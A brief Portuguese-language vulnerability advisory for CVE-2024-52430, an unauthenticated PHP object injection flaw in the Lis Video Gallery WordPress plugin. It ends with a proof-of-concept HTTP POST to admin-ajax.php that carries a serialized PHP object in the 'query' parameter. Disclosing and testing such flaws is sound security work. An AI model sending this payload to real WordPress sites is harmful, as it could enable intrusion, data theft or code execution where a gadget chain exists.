CVE-2024-52430

Lis Video Gallery <= 0.2.1 - Injeção de Objeto PHP Não Autenticado

Descrição

O plugin Lis Video Gallery para WordPress é vulnerável à Injeção de Objeto PHP nas versões até, e incluindo, 0.2.1 através da desserialização de entrada não confiável. Isso torna possível para atacantes não autenticados injetar um Objeto PHP. Nenhuma cadeia POP conhecida está presente no software vulnerável. Se uma cadeia POP estiver presente através de um plugin ou tema adicional instalado no sistema alvo, isso poderia permitir que o atacante exclua arquivos arbitrários, recupere dados confidenciais ou execute código.

CVE: CVE-2024-52430
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: lis-video-gallery

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

action=loadmore&query=O%3a20%3a%22PHP_Object_Injection%22%3a0%3a%7b%7d&page=1

PHP object injection has occurred.